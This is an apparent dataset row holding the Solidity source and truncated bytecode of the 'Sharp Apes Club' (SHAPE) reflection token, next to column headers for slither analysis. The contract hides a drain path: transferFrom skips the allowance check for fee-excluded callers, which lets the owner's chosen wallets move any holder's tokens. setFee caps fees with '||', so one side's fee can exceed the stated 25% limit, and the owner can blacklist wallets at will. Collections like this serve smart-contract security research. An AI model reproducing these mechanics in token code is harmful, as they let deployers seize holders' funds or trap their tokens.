address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xb86213aca8cfc1c77675be60011e3d1ed69cf84e
|
/**
https://sharpapeclub.xyz/
https://twitter.com/SharpApesClub
https://t.me/SharpApesClub
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SharpApesClub is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sharp Apes Club";//
string private constant _symbol = "SHAPE";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xE0F59b14f4d3c38D2013b9b82E950874Ad73F65c);//
address payable private _marketingAddress = payable(0xE0F59b14f4d3c38D2013b9b82E950874Ad73F65c);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 20000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000000* 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function EnableTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd146102985780631d97b7cd146102c357806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a7565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061366d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613107565b610857565b6040516102649190613637565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f9190613652565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138af565b60405180910390f35b3480156102cf57600080fd5b506102d86108ac565b005b3480156102e657600080fd5b5061030160048036038101906102fc91906130b4565b610965565b60405161030e9190613637565b60405180910390f35b34801561032357600080fd5b5061032c610a97565b60405161033991906138af565b60405180910390f35b34801561034e57600080fd5b50610357610a9d565b6040516103649190613924565b60405180910390f35b34801561037957600080fd5b50610382610aa6565b60405161038f919061361c565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061301a565b610acc565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131f0565b610bbc565b005b3480156103f657600080fd5b506103ff610c6d565b005b34801561040d57600080fd5b506104286004803603810190610423919061301a565b610d3e565b60405161043591906138af565b60405180910390f35b34801561044a57600080fd5b50610453610d8f565b005b34801561046157600080fd5b5061047c6004803603810190610477919061321d565b610ee2565b005b34801561048a57600080fd5b50610493610fda565b6040516104a091906138af565b60405180910390f35b3480156104b557600080fd5b506104be610fe0565b6040516104cb919061361c565b60405180910390f35b3480156104e057600080fd5b506104e9611009565b6040516104f691906138af565b60405180910390f35b34801561050b57600080fd5b5061051461100f565b604051610521919061366d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c919061321d565b61104c565b005b34801561055f57600080fd5b5061057a6004803603810190610575919061324a565b6110eb565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613107565b611214565b6040516105b09190613637565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061301a565b611232565b6040516105ed9190613637565b60405180910390f35b34801561060257600080fd5b5061060b611252565b005b34801561061957600080fd5b50610634600480360381019061062f9190613147565b61132b565b005b34801561064257600080fd5b5061064b611465565b60405161065891906138af565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613074565b61146b565b60405161069591906138af565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061321d565b6114f2565b005b3480156106d357600080fd5b506106ee60048036038101906106e9919061301a565b6115ea565b005b6106f86117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137cf565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613ca2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bfb565b915050610788565b5050565b60606040518060400160405280600f81526020017f5368617270204170657320436c75620000000000000000000000000000000000815250905090565b600061086b6108646117ac565b84846117b4565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6108b46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610938906137cf565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061097284848461197f565b6005600061097e6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8c57610a8b846109d66117ac565b610a868560405180606001604052806028815260200161421760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3c6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123539092919063ffffffff16565b6117b4565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b58906137cf565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c48906137cf565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cae6117ac565b73ffffffffffffffffffffffffffffffffffffffff161480610d245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0c6117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2d57600080fd5b6000479050610d3b816123b7565b50565b6000610d88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b2565b9050919050565b610d976117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eea6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906137cf565b60405180910390fd5b6103e8683635c9adc5dea00000610f8e9190613a3b565b811015610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061388f565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600581526020017f5348415045000000000000000000000000000000000000000000000000000000815250905090565b6110546117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906137cf565b60405180910390fd5b8060198190555050565b6110f36117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611180576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611177906137cf565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111aa91906139e5565b9050600083866111ba91906139e5565b90506019821115806111cd575060198111155b61120c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112039061378f565b60405180910390fd5b505050505050565b60006112286112216117ac565b848461197f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112936117ac565b73ffffffffffffffffffffffffffffffffffffffff1614806113095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f16117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b61131257600080fd5b600061131d30610d3e565b905061132881612520565b50565b6113336117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b7906137cf565b60405180910390fd5b60005b8383905081101561145f5781600560008686858181106113e6576113e5613ca2565b5b90506020020160208101906113fb919061301a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145790613bfb565b9150506113c3565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fa6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906137cf565b60405180910390fd5b6103e8683635c9adc5dea0000061159e9190613a3b565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d79061386f565b60405180910390fd5b8060188190555050565b6115f26117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611676906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e69061370f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061384f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061372f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197291906138af565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e69061380f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569061368f565b60405180910390fd5b60008111611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a99906137ef565b60405180910390fd5b611aaa610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b185750611ae8610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205257601660149054906101000a900460ff16611ba757611b39610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906136af565b60405180910390fd5b5b601754811115611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906136ef565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c905750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc69061374f565b60405180910390fd5b6008544311158015611d2e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d885750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1e576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ecb5760185481611e8084610d3e565b611e8a91906139e5565b10611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec19061382f565b60405180910390fd5b5b6000611ed630610d3e565b9050600060195482101590506017548210611ef15760175491505b808015611f0b5750601660159054906101000a900460ff16155b8015611f655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7b575060168054906101000a900460ff165b8015611fd15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120275750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204f5761203582612520565b6000479050600081111561204d5761204c476123b7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121ac5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121ab5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121ba5760009050612341565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffff